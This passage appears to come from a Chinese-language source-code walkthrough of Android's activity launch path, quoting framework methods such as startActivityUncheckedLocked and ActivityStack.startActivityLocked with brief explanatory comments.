!mService.mController.activityStarting(watchIntent,\n\t\t\t\t\taInfo.applicationInfo.packageName);\n\t\t} catch (RemoteException e) {\n\t\t\tmService.mController = null;\n\t\t}\n\t}\n\n\tif (abort) {\n\t\tif (resultRecord != null) {\n\t\t\tresultStack.sendActivityResultLocked(-1, resultRecord, resultWho, requestCode,\n\t\t\t\t\tActivity.RESULT_CANCELED, null);\n\t\t}\n\t\t// We pretend to the caller that it was really started, but\n\t\t// they will just get a cancel result.\n\t\tActivityOptions.abort(options);\n\t\treturn ActivityManager.START_SUCCESS;\n\t}\n\t// ActivityRecord: An entry in the history stack, representing an activity.\n\tActivityRecord r = new ActivityRecord(mService, callerApp, callingUid, callingPackage,\n\t\t\tintent, resolvedType, aInfo, mService.mConfiguration, resultRecord, resultWho,\n\t\t\trequestCode, componentSpecified, voiceSession != null, this, container, options);\n\tif (outActivity != null) {\n\t\toutActivity[0] = r;\n\t}\n\n\tif (r.appTimeTracker == null && sourceRecord != null) {\n\t\t// If the caller didn't specify an explicit time tracker, we want to continue\n\t\t// tracking under any it has.\n\t\tr.appTimeTracker = sourceRecord.appTimeTracker;\n\t}\n\n\tfinal ActivityStack stack = mFocusedStack;\n\tif (voiceSession == null && (stack.mResumedActivity == null\n\t\t\t|| stack.mResumedActivity.info.applicationInfo.uid != callingUid)) {\n\t\tif (!mService.checkAppSwitchAllowedLocked(callingPid, callingUid,\n\t\t\t\trealCallingPid, realCallingUid, \"Activity start\")) {\n\t\t\tPendingActivityLaunch pal =\n\t\t\t\t\tnew PendingActivityLaunch(r, sourceRecord, startFlags, stack);\n\t\t\tmPendingActivityLaunches.add(pal);\n\t\t\tActivityOptions.abort(options);\n\t\t\treturn ActivityManager.START_SWITCHES_CANCELED;\n\t\t}\n\t}\n\n\tif (mService.mDidAppSwitch) {\n\t\t// This is the second allowed switch since we stopped switches,\n\t\t// so now just generally allow switches.  Use case: user presses\n\t\t// home (switches disabled, switch to home, mDidAppSwitch now true);\n\t\t// user taps a home icon (coming from home so allowed, we hit here\n\t\t// and now allow anyone to switch again).\n\t\tmService.mAppSwitchesAllowedTime = 0;\n\t} else {\n\t\tmService.mDidAppSwitch = true;\n\t}\n\n\tdoPendingActivityLaunchesLocked(false);\n\t// 继续调用方法\n\terr = startActivityUncheckedLocked(r, sourceRecord, voiceSession, voiceInteractor,\n\t\t\tstartFlags, true, options, inTask);\n\n\tif (err < 0) {\n\t\t// If someone asked to have the keyguard dismissed on the next\n\t\t// activity start, but we are not actually doing an activity\n\t\t// switch...  just dismiss the keyguard now, because we\n\t\t// probably want to see whatever is behind it.\n\t\tnotifyActivityDrawnForKeyguard();\n\t}\n\treturn err;\n}\n```\n再继续看`startActivityUncheckedLocked`方法：　　　　\n```java\nfinal int startActivityUncheckedLocked(final ActivityRecord r, ActivityRecord sourceRecord,\n\t\tIVoiceInteractionSession voiceSession, IVoiceInteractor voiceInteractor, int startFlags,\n\t\tboolean doResume, Bundle options, TaskRecord inTask) {\n\tfinal Intent intent = r.intent;\n\tfinal int callingUid = r.launchedFromUid;\n\n\t// In some flows in to this function, we retrieve the task record and hold on to it\n\t// without a lock before calling back in to here...  so the task at this point may\n\t// not actually be in recents.  Check for that, and if it isn't in recents just\n\t// consider it invalid.\n\tif (inTask != null && !inTask.inRecents) {\n\t\tSlog.w(TAG, \"Starting activity in task not in recents: \" + inTask);\n\t\tinTask = null;\n\t}\n\n\t// 判断不同的启动模式\n\tfinal boolean launchSingleTop = r.launchMode == ActivityInfo.LAUNCH_SINGLE_TOP;\n\tfinal boolean launchSingleInstance = r.launchMode == ActivityInfo.LAUNCH_SINGLE_INSTANCE;\n\tfinal boolean launchSingleTask = r.launchMode == ActivityInfo.LAUNCH_SINGLE_TASK;\n\n\t.....\n\n\t// We may want to try to place the new activity in to an existing task.  We always\n\t// do this if the target activity is singleTask or singleInstance; we will also do\n\t// this if NEW_TASK has been requested, and there is not an additional qualifier telling\n\t// us to still place it in a new task: multi task, always doc mode, or being asked to\n\t// launch this as a new task behind the current one.\n\tif (((launchFlags & Intent.FLAG_ACTIVITY_NEW_TASK) != 0 &&\n\t\t\t(launchFlags & Intent.FLAG_ACTIVITY_MULTIPLE_TASK) == 0)\n\t\t\t|| launchSingleInstance || launchSingleTask) {\n\t\t// If bring to front is requested, and no result is requested and we have not\n\t\t// been given an explicit task to launch in to, and\n\t\t// we can find a task that was started with this same\n\t\t// component, then instead of launching bring that one to the front.\n\t\tif (inTask == null && r.resultTo == null) {\n\t\t\t// See if there is a task to bring to the front.  If this is\n\t\t\t// a SINGLE_INSTANCE activity, there can be one and only one\n\t\t\t// instance of it in the history, and it is always in its own\n\t\t\t// unique task, so we do a special search.\n\t\t\tActivityRecord intentActivity = !launchSingleInstance ?\n\t\t\t\t\tfindTaskLocked(r) : findActivityLocked(intent, r.info);\n\t\t\tif (intentActivity != null) {\n\t\t\t\t// When the flags NEW_TASK and CLEAR_TASK are set, then the task gets reused\n\t\t\t\t// but still needs to be a lock task mode violation since the task gets\n\t\t\t\t// cleared out and the device would otherwise leave the locked task.\n\t\t\t\tif (isLockTaskModeViolation(intentActivity.task,\n\t\t\t\t\t\t(launchFlags & (FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK))\n\t\t\t\t\t\t== (FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK))) {\n\t\t\t\t\tshowLockTaskToast();\n\t\t\t\t\tSlog.e(TAG, \"startActivityUnchecked: Attempt to violate Lock Task Mode\");\n\t\t\t\t\treturn ActivityManager.START_RETURN_LOCK_TASK_MODE_VIOLATION;\n\t\t\t\t}\n\t\t\t\tif (r.task == null) {\n\t\t\t\t\tr.task = intentActivity.task;\n\t\t\t\t}\n\t\t\t\tif (intentActivity.task.intent == null) {\n\t\t\t\t\t// This task was started because of movement of\n\t\t\t\t\t// the activity based on affinity...  now that we\n\t\t\t\t\t// are actually launching it, we can assign the\n\t\t\t\t\t// base intent.\n\t\t\t\t\tintentActivity.task.setIntent(r);\n\t\t\t\t}\n\t\t\t\ttargetStack = intentActivity.task.stack;\n\t\t\t\ttargetStack.mLastPausedActivity = null;\n\t\t\t\t// If the target task is not in the front, then we need\n\t\t\t\t// to bring it to the front...  except...  well, with\n\t\t\t\t// SINGLE_TASK_LAUNCH it's not entirely clear.  We'd like\n\t\t\t\t// to have the same behavior as if a new instance was\n\t\t\t\t// being started, which means not bringing it to the front\n\t\t\t\t// if the caller is not itself in the front.\n\t\t\t\tfinal ActivityStack focusStack = getFocusedStack();\n\t\t\t\tActivityRecord curTop = (focusStack == null)\n\t\t\t\t\t\t? null : focusStack.topRunningNonDelayedActivityLocked(notTop);\n\t\t\t\tboolean movedToFront = false;\n\t\t\t\tif (curTop != null && (curTop.task != intentActivity.task ||\n\t\t\t\t\t\tcurTop.task != focusStack.topTask())) {\n\t\t\t\t\tr.intent.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT);\n\t\t\t\t\tif (sourceRecord == null || (sourceStack.topActivity() != null &&\n\t\t\t\t\t\t\tsourceStack.topActivity().task == sourceRecord.task)) {\n\t\t\t\t\t\t// We really do want to push this one into the user's face, right now.\n\t\t\t\t\t\tif (launchTaskBehind && sourceRecord != null) {\n\t\t\t\t\t\t\tintentActivity.setTaskToAffiliateWith(sourceRecord.task);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmovedHome = true;\n\t\t\t\t\t\ttargetStack.moveTaskToFrontLocked(intentActivity.task, noAnimation,\n\t\t\t\t\t\t\t\toptions, r.appTimeTracker, \"bringingFoundTaskToFront\");\n\t\t\t\t\t\tmovedToFront = true;\n\t\t\t\t\t\tif ((launchFlags &\n\t\t\t\t\t\t\t\t(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME))\n\t\t\t\t\t\t\t\t== (FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME)) {\n\t\t\t\t\t\t\t// Caller wants to appear on home activity.\n\t\t\t\t\t\t\tintentActivity.task.setTaskToReturnTo(HOME_ACTIVITY_TYPE);\n\t\t\t\t\t\t}\n\t\t\t\t\t\toptions = null;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (!movedToFront) {\n\t\t\t\t\tif (DEBUG_TASKS) Slog.d(TAG_TASKS, \"Bring to front target: \" + targetStack\n\t\t\t\t\t\t\t+ \" from \" + intentActivity);\n\t\t\t\t\ttargetStack.moveToFront(\"intentActivityFound\");\n\t\t\t\t}\n\n\t\t\t\t// If the caller has requested that the target task be\n\t\t\t\t// reset, then do so.\n\t\t\t\tif ((launchFlags&Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) != 0) {\n\t\t\t\t\tintentActivity = targetStack.resetTaskIfNeededLocked(intentActivity, r);\n\t\t\t\t}\n\t\t\t\tif ((startFlags & ActivityManager.START_FLAG_ONLY_IF_NEEDED) != 0) {\n\t\t\t\t\t// We don't need to start a new activity, and\n\t\t\t\t\t// the client said not to do anything if that\n\t\t\t\t\t// is the case, so this is it!  And for paranoia, make\n\t\t\t\t\t// sure we have correctly resumed the top activity.\n\t\t\t\t\tif (doResume) {\n\t\t\t\t\t\tresumeTopActivitiesLocked(targetStack, null, options);\n\n\t\t\t\t\t\t// Make sure to notify Keyguard as well if we are not running an app\n\t\t\t\t\t\t// transition later.\n\t\t\t\t\t\tif (!movedToFront) {\n\t\t\t\t\t\t\tnotifyActivityDrawnForKeyguard();\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tActivityOptions.abort(options);\n\t\t\t\t\t}\n\t\t\t\t\treturn ActivityManager.START_RETURN_INTENT_TO_CALLER;\n\t\t\t\t}\n\t\t\t\tif ((launchFlags & (FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK))\n\t\t\t\t\t\t== (FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK)) {\n\t\t\t\t\t// The caller has requested to completely replace any\n\t\t\t\t\t// existing task with its new activity.  Well that should\n\t\t\t\t\t// not be too hard...\n\t\t\t\t\treuseTask = intentActivity.task;\n\t\t\t\t\treuseTask.performClearTaskLocked();\n\t\t\t\t\treuseTask.setIntent(r);\n\t\t\t\t} else if ((launchFlags & FLAG_ACTIVITY_CLEAR_TOP) != 0\n\t\t\t\t\t\t|| launchSingleInstance || launchSingleTask) {\n\t\t\t\t\t// In this situation we want to remove all activities\n\t\t\t\t\t// from the task up to the one being started.  In most\n\t\t\t\t\t// cases this means we are resetting the task to its\n\t\t\t\t\t// initial state.\n\t\t\t\t\tActivityRecord top =\n\t\t\t\t\t\t\tintentActivity.task.performClearTaskLocked(r, launchFlags);\n\t\t\t\t\tif (top != null) {\n\t\t\t\t\t\tif (top.frontOfTask) {\n\t\t\t\t\t\t\t// Activity aliases may mean we use different\n\t\t\t\t\t\t\t// intents for the top activity, so make sure\n\t\t\t\t\t\t\t// the task now has the identity of the new\n\t\t\t\t\t\t\t// intent.\n\t\t\t\t\t\t\ttop.task.setIntent(r);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tActivityStack.logStartActivity(EventLogTags.AM_NEW_INTENT,\n\t\t\t\t\t\t\t\tr, top.task);\n\t\t\t\t\t\ttop.deliverNewIntentLocked(callingUid, r.intent, r.launchedFromPackage);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// A special case: we need to start the activity because it is not\n\t\t\t\t\t\t// currently running, and the caller has asked to clear the current\n\t\t\t\t\t\t// task to have this activity at the top.\n\t\t\t\t\t\taddingToTask = true;\n\t\t\t\t\t\t// Now pretend like this activity is being started by the top of its\n\t\t\t\t\t\t// task, so it is put in the right place.\n\t\t\t\t\t\tsourceRecord = intentActivity;\n\t\t\t\t\t\tTaskRecord task = sourceRecord.task;\n\t\t\t\t\t\tif (task != null && task.stack == null) {\n\t\t\t\t\t\t\t// Target stack got cleared when we all activities were removed\n\t\t\t\t\t\t\t// above. Go ahead and reset it.\n\t\t\t\t\t\t\ttargetStack = computeStackFocus(sourceRecord, false /* newTask */);\n\t\t\t\t\t\t\ttargetStack.addTask(\n\t\t\t\t\t\t\t\t\ttask, !launchTaskBehind /* toTop */, false /* moving */);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t} else if (r.realActivity.equals(intentActivity.task.realActivity)) {\n\t\t\t\t\t// In this case the top activity on the task is the\n\t\t\t\t\t// same as the one being launched, so we take that\n\t\t\t\t\t// as a request to bring the task to the foreground.\n\t\t\t\t\t// If the top activity in the task is the root\n\t\t\t\t\t// activity, deliver this new intent to it if it\n\t\t\t\t\t// desires.\n\t\t\t\t\tif (((launchFlags&Intent.FLAG_ACTIVITY_SINGLE_TOP) != 0 || launchSingleTop)\n\t\t\t\t\t\t\t&& intentActivity.realActivity.equals(r.realActivity)) {\n\t\t\t\t\t\tActivityStack.logStartActivity(EventLogTags.AM_NEW_INTENT, r,\n\t\t\t\t\t\t\t\tintentActivity.task);\n\t\t\t\t\t\tif (intentActivity.frontOfTask) {\n\t\t\t\t\t\t\tintentActivity.task.setIntent(r);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tintentActivity.deliverNewIntentLocked(callingUid, r.intent,\n\t\t\t\t\t\t\t\tr.launchedFromPackage);\n\t\t\t\t\t} else if (!r.intent.filterEquals(intentActivity.task.intent)) {\n\t\t\t\t\t\t// In this case we are launching the root activity\n\t\t\t\t\t\t// of the task, but with a different intent.  We\n\t\t\t\t\t\t// should start a new instance on top.\n\t\t\t\t\t\taddingToTask = true;\n\t\t\t\t\t\tsourceRecord = intentActivity;\n\t\t\t\t\t}\n\t\t\t\t} else if ((launchFlags&Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) == 0) {\n\t\t\t\t\t// In this case an activity is being launched in to an\n\t\t\t\t\t// existing task, without resetting that task.  This\n\t\t\t\t\t// is typically the situation of launching an activity\n\t\t\t\t\t// from a notification or shortcut.  We want to place\n\t\t\t\t\t// the new activity on top of the current task.\n\t\t\t\t\taddingToTask = true;\n\t\t\t\t\tsourceRecord = intentActivity;\n\t\t\t\t} else if (!intentActivity.task.rootWasReset) {\n\t\t\t\t\t// In this case we are launching in to an existing task\n\t\t\t\t\t// that has not yet been started from its front door.\n\t\t\t\t\t// The current task has been brought to the front.\n\t\t\t\t\t// Ideally, we'd probably like to place this new task\n\t\t\t\t\t// at the bottom of its stack, but that's a little hard\n\t\t\t\t\t// to do with the current organization of the code so\n\t\t\t\t\t// for now we'll just drop it.\n\t\t\t\t\tintentActivity.task.setIntent(r);\n\t\t\t\t}\n\t\t\t\tif (!addingToTask && reuseTask == null) {\n\t\t\t\t\t// We didn't do anything...  but it was needed (a.k.a., client\n\t\t\t\t\t// don't use that intent!)  And for paranoia, make\n\t\t\t\t\t// sure we have correctly resumed the top activity.\n\t\t\t\t\tif (doResume) {\n\t\t\t\t\t\ttargetStack.resumeTopActivityLocked(null, options);\n\t\t\t\t\t\tif (!movedToFront) {\n\t\t\t\t\t\t\t// Make sure to notify Keyguard as well if we are not running an app\n\t\t\t\t\t\t\t// transition later.\n\t\t\t\t\t\t\tnotifyActivityDrawnForKeyguard();\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tActivityOptions.abort(options);\n\t\t\t\t\t}\n\t\t\t\t\treturn ActivityManager.START_TASK_TO_FRONT;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t//String uri = r.intent.toURI();\n\t//Intent intent2 = new Intent(uri);\n\t//Slog.i(TAG, \"Given intent: \" + r.intent);\n\t//Slog.i(TAG, \"URI is: \" + uri);\n\t//Slog.i(TAG, \"To intent: \" + intent2);\n\n\tif (r.packageName != null) {\n\t\t// If the activity being launched is the same as the one currently\n\t\t// at the top, then we need to check if it should only be launched\n\t\t// once.\n\t\tActivityStack topStack = mFocusedStack;\n\t\tActivityRecord top = topStack.topRunningNonDelayedActivityLocked(notTop);\n\t\tif (top != null && r.resultTo == null) {\n\t\t\tif (top.realActivity.equals(r.realActivity) && top.userId == r.userId) {\n\t\t\t\tif (top.app != null && top.app.thread != null) {\n\t\t\t\t\tif ((launchFlags & Intent.FLAG_ACTIVITY_SINGLE_TOP) != 0\n\t\t\t\t\t\t|| launchSingleTop || launchSingleTask) {\n\t\t\t\t\t\tActivityStack.logStartActivity(EventLogTags.AM_NEW_INTENT, top,\n\t\t\t\t\t\t\t\ttop.task);\n\t\t\t\t\t\t// For paranoia, make sure we have correctly\n\t\t\t\t\t\t// resumed the top activity.\n\t\t\t\t\t\ttopStack.mLastPausedActivity = null;\n\t\t\t\t\t\tif (doResume) {\n\t\t\t\t\t\t\tresumeTopActivitiesLocked();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tActivityOptions.abort(options);\n\t\t\t\t\t\tif ((startFlags&ActivityManager.START_FLAG_ONLY_IF_NEEDED) != 0) {\n\t\t\t\t\t\t\t// We don't need to start a new activity, and\n\t\t\t\t\t\t\t// the client said not to do anything if that\n\t\t\t\t\t\t\t// is the case, so this is it!\n\t\t\t\t\t\t\treturn ActivityManager.START_RETURN_INTENT_TO_CALLER;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttop.deliverNewIntentLocked(callingUid, r.intent, r.launchedFromPackage);\n\t\t\t\t\t\treturn ActivityManager.START_DELIVERED_TO_TOP;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tif (r.resultTo != null && r.resultTo.task.stack != null) {\n\t\t\tr.resultTo.task.stack.sendActivityResultLocked(-1, r.resultTo, r.resultWho,\n\t\t\t\t\tr.requestCode, Activity.RESULT_CANCELED, null);\n\t\t}\n\t\tActivityOptions.abort(options);\n\t\treturn ActivityManager.START_CLASS_NOT_FOUND;\n\t}\n\n\tboolean newTask = false;\n\tboolean keepCurTransition = false;\n\n\tTaskRecord taskToAffiliate = launchTaskBehind && sourceRecord != null ?\n\t\t\tsourceRecord.task : null;\n\n\t// Should this be considered a new task?\n\tif (r.resultTo == null && inTask == null && !addingToTask\n\t\t\t&& (launchFlags & Intent.FLAG_ACTIVITY_NEW_TASK) != 0) {\n\t\tnewTask = true;\n\t\ttargetStack = computeStackFocus(r, newTask);\n\t\ttargetStack.moveToFront(\"startingNewTask\");\n\n\t\tif (reuseTask == null) {\n\t\t\tr.setTask(targetStack.createTaskRecord(getNextTaskId(),\n\t\t\t\t\tnewTaskInfo != null ? newTaskInfo : r.info,\n\t\t\t\t\tnewTaskIntent != null ? newTaskIntent : intent,\n\t\t\t\t\tvoiceSession, voiceInteractor, !launchTaskBehind /* toTop */),\n\t\t\t\t\ttaskToAffiliate);\n\t\t\tif (DEBUG_TASKS) Slog.v(TAG_TASKS,\n\t\t\t\t\t\"Starting new activity \" + r + \" in new task \" + r.task);\n\t\t} else {\n\t\t\tr.setTask(reuseTask, taskToAffiliate);\n\t\t}\n\t\tif (isLockTaskModeViolation(r.task)) {\n\t\t\tSlog.e(TAG, \"Attempted Lock Task Mode violation r=\" + r);\n\t\t\treturn ActivityManager.START_RETURN_LOCK_TASK_MODE_VIOLATION;\n\t\t}\n\t\tif (!movedHome) {\n\t\t\tif ((launchFlags &\n\t\t\t\t\t(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME))\n\t\t\t\t\t== (FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME)) {\n\t\t\t\t// Caller wants to appear on home activity, so before starting\n\t\t\t\t// their own activity we will bring home to the front.\n\t\t\t\tr.task.setTaskToReturnTo(HOME_ACTIVITY_TYPE);\n\t\t\t}\n\t\t}\n\t} else if (sourceRecord != null) {\n\t\tfinal TaskRecord sourceTask = sourceRecord.task;\n\t\tif (isLockTaskModeViolation(sourceTask)) {\n\t\t\tSlog.e(TAG, \"Attempted Lock Task Mode violation r=\" + r);\n\t\t\treturn ActivityManager.START_RETURN_LOCK_TASK_MODE_VIOLATION;\n\t\t}\n\t\ttargetStack = sourceTask.stack;\n\t\ttargetStack.moveToFront(\"sourceStackToFront\");\n\t\tfinal TaskRecord topTask = targetStack.topTask();\n\t\tif (topTask != sourceTask) {\n\t\t\ttargetStack.moveTaskToFrontLocked(sourceTask, noAnimation, options,\n\t\t\t\t\tr.appTimeTracker, \"sourceTaskToFront\");\n\t\t}\n\t\tif (!addingToTask && (launchFlags&Intent.FLAG_ACTIVITY_CLEAR_TOP) != 0) {\n\t\t\t// In this case, we are adding the activity to an existing\n\t\t\t// task, but the caller has asked to clear that task if the\n\t\t\t// activity is already running.\n\t\t\tActivityRecord top = sourceTask.performClearTaskLocked(r, launchFlags);\n\t\t\tkeepCurTransition = true;\n\t\t\tif (top != null) {\n\t\t\t\tActivityStack.logStartActivity(EventLogTags.AM_NEW_INTENT, r, top.task);\n\t\t\t\ttop.deliverNewIntentLocked(callingUid, r.intent, r.launchedFromPackage);\n\t\t\t\t// For paranoia, make sure we have correctly\n\t\t\t\t// resumed the top activity.\n\t\t\t\ttargetStack.mLastPausedActivity = null;\n\t\t\t\tif (doResume) {\n\t\t\t\t\ttargetStack.resumeTopActivityLocked(null);\n\t\t\t\t}\n\t\t\t\tActivityOptions.abort(options);\n\t\t\t\treturn ActivityManager.START_DELIVERED_TO_TOP;\n\t\t\t}\n\t\t} else if (!addingToTask &&\n\t\t\t\t(launchFlags&Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) != 0) {\n\t\t\t// In this case, we are launching an activity in our own task\n\t\t\t// that may already be running somewhere in the history, and\n\t\t\t// we want to shuffle it to the front of the stack if so.\n\t\t\tfinal ActivityRecord top = sourceTask.findActivityInHistoryLocked(r);\n\t\t\tif (top != null) {\n\t\t\t\tfinal TaskRecord task = top.task;\n\t\t\t\ttask.moveActivityToFrontLocked(top);\n\t\t\t\tActivityStack.logStartActivity(EventLogTags.AM_NEW_INTENT, r, task);\n\t\t\t\ttop.updateOptionsLocked(options);\n\t\t\t\ttop.deliverNewIntentLocked(callingUid, r.intent, r.launchedFromPackage);\n\t\t\t\ttargetStack.mLastPausedActivity = null;\n\t\t\t\tif (doResume) {\n\t\t\t\t\ttargetStack.resumeTopActivityLocked(null);\n\t\t\t\t}\n\t\t\t\treturn ActivityManager.START_DELIVERED_TO_TOP;\n\t\t\t}\n\t\t}\n\t\t// An existing activity is starting this new activity, so we want\n\t\t// to keep the new one in the same task as the one that is starting\n\t\t// it.\n\t\tr.setTask(sourceTask, null);\n\t\tif (DEBUG_TASKS) Slog.v(TAG_TASKS, \"Starting new activity \" + r\n\t\t\t\t+ \" in existing task \" + r.task + \" from source \" + sourceRecord);\n\n\t} else if (inTask != null) {\n\t\t// The caller is asking that the new activity be started in an explicit\n\t\t// task it has provided to us.\n\t\tif (isLockTaskModeViolation(inTask)) {\n\t\t\tSlog.e(TAG, \"Attempted Lock Task Mode violation r=\" + r);\n\t\t\treturn ActivityManager.START_RETURN_LOCK_TASK_MODE_VIOLATION;\n\t\t}\n\t\ttargetStack = inTask.stack;\n\t\ttargetStack.moveTaskToFrontLocked(inTask, noAnimation, options, r.appTimeTracker,\n\t\t\t\t\"inTaskToFront\");\n\n\t\t// Check whether we should actually launch the new activity in to the task,\n\t\t// or just reuse the current activity on top.\n\t\tActivityRecord top = inTask.getTopActivity();\n\t\tif (top != null && top.realActivity.equals(r.realActivity) && top.userId == r.userId) {\n\t\t\tif ((launchFlags & Intent.FLAG_ACTIVITY_SINGLE_TOP) != 0\n\t\t\t\t\t|| launchSingleTop || launchSingleTask) {\n\t\t\t\tActivityStack.logStartActivity(EventLogTags.AM_NEW_INTENT, top, top.task);\n\t\t\t\tif ((startFlags&ActivityManager.START_FLAG_ONLY_IF_NEEDED) != 0) {\n\t\t\t\t\t// We don't need to start a new activity, and\n\t\t\t\t\t// the client said not to do anything if that\n\t\t\t\t\t// is the case, so this is it!\n\t\t\t\t\treturn ActivityManager.START_RETURN_INTENT_TO_CALLER;\n\t\t\t\t}\n\t\t\t\ttop.deliverNewIntentLocked(callingUid, r.intent, r.launchedFromPackage);\n\t\t\t\treturn ActivityManager.START_DELIVERED_TO_TOP;\n\t\t\t}\n\t\t}\n\n\t\tif (!addingToTask) {\n\t\t\t// We don't actually want to have this activity added to the task, so just\n\t\t\t// stop here but still tell the caller that we consumed the intent.\n\t\t\tActivityOptions.abort(options);\n\t\t\treturn ActivityManager.START_TASK_TO_FRONT;\n\t\t}\n\n\t\tr.setTask(inTask, null);\n\t\tif (DEBUG_TASKS) Slog.v(TAG_TASKS, \"Starting new activity \" + r\n\t\t\t\t+ \" in explicit task \" + r.task);\n\n\t} else {\n\t\t// This not being started from an existing activity, and not part\n\t\t// of a new task...  just put it in the top task, though these days\n\t\t// this case should never happen.\n\t\ttargetStack = computeStackFocus(r, newTask);\n\t\ttargetStack.moveToFront(\"addingToTopTask\");\n\t\tActivityRecord prev = targetStack.topActivity();\n\t\tr.setTask(prev != null ? prev.task : targetStack.createTaskRecord(getNextTaskId(),\n\t\t\t\t\t\tr.info, intent, null, null, true), null);\n\t\tmWindowManager.moveTaskToTop(r.task.taskId);\n\t\tif (DEBUG_TASKS) Slog.v(TAG_TASKS, \"Starting new activity \" + r\n\t\t\t\t+ \" in new guessed \" + r.task);\n\t}\n\n\tmService.grantUriPermissionFromIntentLocked(callingUid, r.packageName,\n\t\t\tintent, r.getUriPermissionsLocked(), r.userId);\n\n\tif (sourceRecord != null && sourceRecord.isRecentsActivity()) {\n\t\tr.task.setTaskToReturnTo(RECENTS_ACTIVITY_TYPE);\n\t}\n\tif (newTask) {\n\t\tEventLog.writeEvent(EventLogTags.AM_CREATE_TASK, r.userId, r.task.taskId);\n\t}\n\tActivityStack.logStartActivity(EventLogTags.AM_CREATE_ACTIVITY, r, r.task);\n\ttargetStack.mLastPausedActivity = null;\n\t\n\t// 上面这部分代码很多，各种启动模式、栈的处理啊，我们就不继续看了，接着看下面的启动。\n\ttargetStack.startActivityLocked(r, newTask, doResume, keepCurTransition, options);\n\tif (!launchTaskBehind) {\n\t\t// Don't set focus on an activity that's going to the back.\n\t\tmService.setFocusedActivityLocked(r, \"startedActivity\");\n\t}\n\treturn ActivityManager.START_SUCCESS;\n}\n```\n继续看`targetStack.startActivityLocked()`方法,这里`targetStack`就是`ActivityStack`类:      \n```java\nfinal void startActivityLocked(ActivityRecord r, boolean newTask,\n\t\tboolean doResume, boolean keepCurTransition, Bundle options) {\n\tTaskRecord rTask = r.task;\n\tfinal int taskId = rTask.taskId;\n\t// mLaunchTaskBehind tasks get placed at the back of the task stack.\n\tif (!r.mLaunchTaskBehind && (taskForIdLocked(taskId) == null || newTask)) {\n\t\t// Last activity in task had been removed or ActivityManagerService is reusing task.\n\t\t// Insert or replace.\n\t\t// Might not even be in.\n\t\tinsertTaskAtTop(rTask, r);\n\t\tmWindowManager.moveTaskToTop(taskId);\n\t}\n\tTaskRecord task = null;\n\tif (!newTask) {\n\t\t// If starting in an existing task, find where that is...\n\t\tboolean startIt = true;\n\t\tfor (int taskNdx = mTaskHistory.size() - 1; taskNdx >= 0; --taskNdx) {\n\t\t\ttask = mTaskHistory.get(taskNdx);\n\t\t\tif (task.getTopActivity() == null) {\n\t\t\t\t// All activities in task are finishing.\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (task == r.task) {\n\t\t\t\t// Here it is!  Now, if this is not yet visible to the\n\t\t\t\t// user, then just add it without starting; it will\n\t\t\t\t// get started when the user navigates back to it.\n\t\t\t\tif (!startIt) {\n\t\t\t\t\tif (DEBUG_ADD_REMOVE) Slog.i(TAG, \"Adding activity \" + r + \" to task \"\n\t\t\t\t\t\t\t+ task, new RuntimeException(\"here\").fillInStackTrace());\n\t\t\t\t\ttask.addActivityToTop(r);\n\t\t\t\t\tr.putInHistory();\n\t\t\t\t\tmWindowManager.addAppToken(task.mActivities.indexOf(r), r.appToken,\n\t\t\t\t\t\t\tr.task.taskId, mStackId, r.info.screenOrientation, r.fullscreen,\n\t\t\t\t\t\t\t(r.info.flags & ActivityInfo.FLAG_SHOW_FOR_ALL_USERS) != 0,\n\t\t\t\t\t\t\tr.userId, r.info.configChanges, task.voiceSession != null,\n\t\t\t\t\t\t\tr.mLaunchTaskBehind);\n\t\t\t\t\tif (VALIDATE_TOKENS) {\n\t\t\t\t\t\tvalidateAppTokensLocked();\n\t\t\t\t\t}\n\t\t\t\t\tActivityOptions.abort(options);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t} else if (task.numFullscreen > 0) {\n\t\t\t\tstartIt = false;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Place a new activity at top of stack, so it is next to interact\n\t// with the user.\n\n\t// If we are not placing the new activity frontmost, we do not want\n\t// to deliver the onUserLeaving callback to the actual frontmost\n\t// activity\n\tif (task == r.task && mTaskHistory.indexOf(task) != (mTaskHistory.size() - 1)) {\n\t\tmStackSupervisor.mUserLeaving = false;\n\t\tif (DEBUG_USER_LEAVING) Slog.v(TAG_USER_LEAVING,\n\t\t\t\t\"startActivity() behind front, mUserLeaving=false\");\n\t}\n\n\ttask = r.task;\n\n\t// Slot the activity into the history stack and proceed\n\tif (DEBUG_ADD_REMOVE) Slog.i(TAG, \"Adding activity \" + r + \" to stack to task \" + task,\n\t\t\tnew RuntimeException(\"here\").fillInStackTrace());\n\ttask.addActivityToTop(r);\n\ttask.setFrontOfTask();\n\n\tr.putInHistory();\n\tif (!isHomeStack() || numActivities() > 0) {\n\t\t// We want to show the starting preview window if we are\n\t\t// switching to a new task, or the next activity's process is\n\t\t// not currently running.\n\t\tboolean showStartingIcon = newTask;\n\t\tProcessRecord proc = 